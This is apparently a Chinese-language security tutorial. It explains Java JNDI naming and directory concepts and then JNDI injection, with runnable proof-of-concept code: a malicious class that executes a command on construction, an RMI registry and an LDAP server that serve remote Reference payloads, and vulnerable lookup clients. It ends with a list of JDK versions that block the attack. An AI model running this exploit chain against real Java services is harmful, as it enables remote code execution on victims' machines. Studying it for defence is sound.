一、什么是JNDI?

jndi的全称为Java Naming and Directory Interface(java命名和目录接口)SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互、如图:

image-20220627191525117

我的理解就是管理者可以使用JNDI API访问不同的命名服务和目录系统(LDAP、DNS、RMI、CORBA等)

二、命名和目录概念

2.1 命名概念

​ 任何计算系统中的一个基本设施是命名服务——名称与对象相关联的方法,对象是根据它们的名称找到的。在使用几乎任何计算机程序或系统时,您总是在命名一个或另一个对象。例如,当您使用电子邮件系统时,您必须提供收件人的姓名。要访问计算机中的文件,您必须提供其名称。命名服务允许您查找给定名称的对象。

​ 例如:互联网域名系统 (DNS) 将机器名称映射到 IP 地址:www.example.com ==> 192.0.2.5

​ 文件系统将文件名映射到程序可以用来访问文件内容的文件引用:c:\bin\autoexec.bat ==> File Reference

image-20220627173447947

2.1.1 名称(Names)

要在命名系统中查找对象,请向其提供对象的名称。命名系统确定名称必须遵循的语法。名称由组件组成。 名称的表示由标记名称组件的组件分隔符组成。

例如:

  • UNIX文件系统,使用/作为分隔符:/usr/123
  • 域名系统,使用.作为分隔符:baidu.com
  • LDAP(轻量级目录访问协议),使用, =作为分隔符:cn=Rosanna Lee,o=Sun,c=US

2.1.2 绑定(Bindings)

名称与对象的关联称为 绑定 。 文件名 绑定 到文件。

DNS 包含将机器名称映射到 IP 地址的绑定。 LDAP 名称绑定到 LDAP 条目。

简而言之,命名服务是一种简单的键值对绑定,可以通过键名检索值,RMI就是典型的命名服务

2.2 目录概念

目录服务是命名服务的拓展

目录服务将名称与对象相关联,并将此类对象与属性相关联

它与命名服务的区别在于它可以通过对象属性来检索对象

例如:我们在某个学校寻找一个人,通常以 学校 –> 班级 –> 姓名 来寻找,学校、班级、姓名就是这个人的属性,这种层级关系就很像目录关系,所以这种存储对象的方式就叫目录服务。LDAP是典型的目录服务。

感觉目录关服务和命名服务的本质是一样的,都是通过键来寻找这个对象,不过目录服务的键更灵活且复杂

我们只要知道jndi是对各种访问目录服务的逻辑进行了再封装

也就是以前我们访问rmi与ldap要写的代码差别很大,但是有了jndi这一层,我们就可以用jndi的方式来轻松访问rmi或者ldap服务

这样访问不同的服务的代码实现基本是一样的

image-20220627191753240

从图中可以看到,访问RMI服务时,我们只是传了一个简单的键foo,RMI服务端却返回了一个对象(命名服务)

在访问LDAP时,传过去的字符串含有多个键值对,比较复杂,这些键值对就是对象的属性,LDAP根据这些属性来寻找对象(目录服务)

三、JNDI代码实现

在jndi中提供了绑定和查找的方法:

  • bind:将名称绑定到对象中
  • lookup:通过名称检索执行的对象
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

/**
 * jndi调用RMI
 */
public class CallService {
    public static void main(String[] args) throws Exception {
        //服务端
        // 创建一个rmi映射表
        Registry registry = LocateRegistry.createRegistry(1099);

        IHelloService hello = new HelloServiceImpl();
        registry.bind("hello",hello);

        //客户端
        //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

        //创建初始化环境
        Context ctx = new InitialContext(env);
        IHelloService rhello = (IHelloService) ctx.lookup("rmi://localhost:1099/hello");
        System.out.println(rhello.sayHello("siii0"));

    }
}

上面的代码将客户端和服务端写到一起去了

image-20220627202455256

四、JNDI动态协议转换

在上面的代码中,配置JNDI信息处,Context.PROVIDER_URL属性指定了到哪去加载本地没有的类

所以ctx.lookup("hello")也是可以的

那么什么是动态协议转换?

就是当lookup中的参数像rmi://localhost:1099/hello一样也是uri地址时,即使配置了Context.PROVIDER_URL,

客户端仍然会去那个uri地址加载远程对象

所以,这也是为什么lookup()方法中的参数可控时,攻击者可以构造一个恶意的uri地址,来控制受害者去加载恶意类

但是这样就能完成攻击吗?当然不行,因为受害者本地并没有和攻击者一样的恶意类(class文件),而上面的demo是在本地进行的,所以可以访问相同的类

五、JNDI Naming Reference

接下里就需要借助这个东西

Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建Reference实例的几个关键属性:

  • className:远程加载时使用的类名
  • classFactory:加载的class中需要实例化类的名称
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file、ftp和http等协议
当有客户端通过 lookup("refObj") 获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference 实例,客户端会首先去本地的 CLASSPATH 去寻找被标识为 refClassName 的类,如果本地未找到,则会去请求 http://example.com:12345/refClassName.class 动态加载 classes 并调用 insClassName 的构造函数。

还有,要把一个对象绑定到rmi注册表需要继承UnicastRemoteObject,但是Reference并没有继承它,所以还需要封装一下它,使用ReferenceWrapper包裹一下Reference实例对象,这样就可以将其绑定到rmi注册表,并被远程访问到了

/*
	1、第一个参数是远程加载时所使用的类名
	2、第二个参数是要加载的类的完整类名
	3、第三个参数就是远程class文件存放的地址
*/
Reference refObj = new Reference("refclassName","insClassName","http://siii0.com:6666");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
refObjWrapper.bind("refObj",refObjWrapper);

总的流程就是:

1、客户端通过lookup方法加载远程对象时,获取的是一个Reference stub(存根/桩,远程对象在客户端上的代理),然后客户端会先在本地的classpath中去检查是否存在类refClassName,如果不存在就去 http://siii0.com:6666/refClassName.class 动态加载,并调用insClassName的无参构造函数,所以可以在无参构造函数中写恶意代码,当然也可以使用static代码块

六、JNDI注入(jndi+rmi)

原理:

就是将恶意的Reference类绑定到RMI注册表中,并将受害者的远程加载指向恶意的class文件,当受害者在JNDI客户端的lookup方法参数可控或classFactoryLocation参数外部可控时,就有可能导致受害者的JNDI客户端远程加载攻击者的恶意类并本地执行,造成JNDI注入

jndi注入利用条件(满足一个就行):

  • 客户端的lookup()方法参数可控
  • 服务端在使用Reference类时,classFactoryLocation参数可控
  • 另外,jdk版本不同也可能导致利用的方法不同

代码实现:

  • 创建恶意类
import java.io.IOException;

public class EvilObj {

    public EvilObj() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}
  • 创建rmi服务端,绑定恶意的Reference到rmi注册表
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        System.out.println("在端口1099创建RMI注册表");

        Reference reference = new Reference("EvilObj", "EvilObj", "http://127.0.0.1:6666");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

        registry.bind("evil",referenceWrapper);
    }
}
  • 创建客户端
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        InitialContext ic = new InitialContext();
        //因为jdk高版本的原因需要设置,否则会报错
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        ic.lookup("rmi://127.0.0.1/evil");
    }
}

最后将恶意类放在python搭建的一个简易的服务器上(http://127.0.0.1:6666)

然后运行服务端和客户端,受害者(客户端)就加载了恶意类

不过可能是因为我们的jdk版本过高的原因(即使将trustURLCodebase设置为了true),最终并没有弹出计算器(这时的版本为jdk8u333)

然后更换版本为jdk1.8.0_73,成功弹出计算器

还有最重要的一点:恶意类别放在package中,否则远程引用时会由于代码一开始的package com.my.而报错

image-20220629211039127

上图会导致远程加载类在本地客户端执行时无法找到类对象

image-20220629211147513

七、JNDI注入(jndi+ldap)

因为利用RMI会受到jdk版本的限制,所以就有了利用ldap的注入,因为LDAP+Reference中Reference的远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。

LDAP概念:

LDAP轻型目录访问协议(英文:Lightweight Directory Access Protocol),是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息

LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

  • ldap服务端段

只需要注意两个成员变量:

  • url 和 port
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://127.0.0.1:6666/#EvilObj"; //这是远程加载class文件的地址
        int port = 8888;  //这是ldap的端口


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}
  • ldap客户端

这里的/qqq可以随便填,这样就能去加载远程class文件并在本地执行了

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LdapClient {
    public static void main(String[] args) throws NamingException {
        Context ic = new InitialContext();
        Object lookup = ic.lookup("ldap://127.0.0.1:8888/qqq");
    }
}

image-20220629211305514

八、总结

jndi注入对jdk版本的要求很高

jndi注入原理(RMI和LDAP都差不多):

就是将恶意的Reference类绑定到RMI注册表,当受害者调用lookup()方法去加载远程对象的时候,就会获得一个Reference对象,然后先在本地寻找Reference指定的类,若找不到则去远程服务器中加载class文件,并在本地执行

下面这张图应该是lookup()的参数可控导致的(访问了恶意的rmi服务器,这样Reference类整个就是可控的)

image-20220628211426391

这里将所有不同版本JDK的防御都列出来:

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

参考文章

1、官方文档https://docs.oracle.com/javase/tutorial/jndi/overview/index.html

2、https://blog.csdn.net/u011479200/article/details/108246846?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165632731416780357294179%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=165632731416780357294179&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-108246846-null-null.142^v24^pc_rank_34,157^v15^new_3&utm_term=jndi%E6%B3%A8%E5%85%A5&spm=1018.2226.3001.4187